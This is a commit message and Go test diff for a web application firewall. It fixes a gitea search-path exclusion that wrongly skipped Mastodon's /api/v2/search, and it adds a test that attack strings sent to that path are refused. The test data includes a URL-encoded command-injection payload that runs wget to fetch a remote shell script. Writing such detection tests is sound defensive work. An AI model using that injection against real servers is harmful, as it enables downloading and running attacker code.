Core Rule Set: gitea's repository search exclusion skips /api/v2/search (closes #266)

Rule 900600 matched /api/v2/search, Mastodon's search, as gitea's search
inside a repository, so attacks in q scored 0 there. gitea has no owner
named api, so a chained condition now leaves out /api/<x>/search. Go's
regular expressions have no lookahead, so the exclusion cannot be written
inside the pattern.

Model: opus-5-5

internal/coreruleset/coreruleset_test.go

@@ -674,6 +674,19 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
 			}
 		}
 	}
+
+	// gitea has no owner named api, so Mastodon's search is not a
+	// repository's search.
+	for _, attack := range []string{
+		sqlInjection,
+		scriptInjection,
+		"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
+	} {
+		target := "/api/v2/search?q=" + attack
+		if got := inspect(t, crs, get(target)); got.Score < threshold {
+			t.Errorf("%s let through: %+v", target, got)
+		}
+	}
 }
 
 // WordPress's paths: signing in, posting a comment, admin-ajax.php, and the